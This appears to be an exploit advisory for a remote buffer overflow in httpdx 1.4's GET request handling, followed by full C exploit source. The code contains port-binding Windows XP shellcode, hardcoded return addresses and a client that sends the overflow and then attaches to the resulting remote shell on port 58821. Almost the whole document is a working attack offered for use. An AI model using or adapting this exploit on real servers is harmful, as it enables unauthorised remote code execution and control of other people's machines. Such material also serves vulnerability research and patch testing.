httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq); Other versions may also be vulnerable. Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3) #include #include #include #include #include #include #include #include #include #include #include #include /* 128 byte portbinding shellcode (for WinXP SP3) port 58821 Derived from shellcode written by silicon */ unsigned char bindcode[] = "\x89\xE5" "\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06" "\x6A\x01\x6A\x02\xB8" "\x6A\x8B\xAB\x71" // WSASocketA() "\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0" "\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5" "\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8" "\x80\x44\xAB\x71" // bind() "\xFF\xD0\x6A\x01\x53\xB8" "\xD3\x8C\xAB\x71" // listen() "\xFF\xD0\x33\xC0\x50\x50\x53\xB8" "\x40\x10\xAC\x71" // accept() "\xFF\xD0\x8B\xD8\xBA" "\x7B\xD3\x81\x7C" // SetStdHandle() "\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2" "\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63" "\x6D\x64\x8D\x45\xFC\x50\xB8" "\xC7\x93\xC2\x77" // system() "\xFF\xD0" "\x31\xC0\x50\xB8" "\x12\xCB\x81\x7C" // ExitProcess() "\xFF\xD0"; /* ripped from TESO code */ void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE); } write (1, buf, l); } } } int main(int argc, char **argv) { char buff[1100]; long ret1 = 0x64f8134b; // pop ret (core.dll) long addr = 0x63b8624f; // Required to reach ret instruction long ret2 = 0x7c874413; // jmp esp (kernel32.dll) long *ptr; struct sockaddr_in target; int i, port, sock; printf("\n---------------------------------------------------------------------\n"); printf(" [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \n"); printf(" [*] Written and discovered by Pankaj Kohli \n"); printf(" [*] Tested with httpdx 1.4 on Windows XP SP3 \n\n"); if(argc < 3) { printf("[-] Usage: %s \n\n", argv[0]); exit(1); } port = atoi(argv[2]); printf("[+] Creating payload \n"); memset(buff, 0, 1024); strcpy(buff, "GET /abc="); memset(buff+9, 'A', 616); ptr = (long *) (buff + 625); *ptr = ret1; ptr++; *ptr = addr; ptr++; *ptr = ret2; ptr++; *ptr = 0; strcat(buff, bindcode); memset(buff+765, 'A', 244); buff[1009] = 0; strcat(buff, " HTTP/1.1\r\nHost: 192.168.2.1\r\n\r\n"); printf("[+] Connecting to %s on port %s \n", argv[1], argv[2]); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(argv[1]); target.sin_port = htons(port); if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("[-] Socket \n"); return(1); } if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0) { perror("[-] Connect \n"); return(1); } printf("[+] Sending payload \n"); if (send(sock, buff, strlen(buff), 0)== -1) { perror("[-] Send \n"); return(1); } close(sock); sleep(1); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(argv[1]); target.sin_port = htons(58821); if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("[-] Socket \n"); return(1); } if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0) { printf("[-] Exploit failed. \n"); return(1); } printf("\n[+] Dropping to shell \n\n"); shell(sock); return 0; }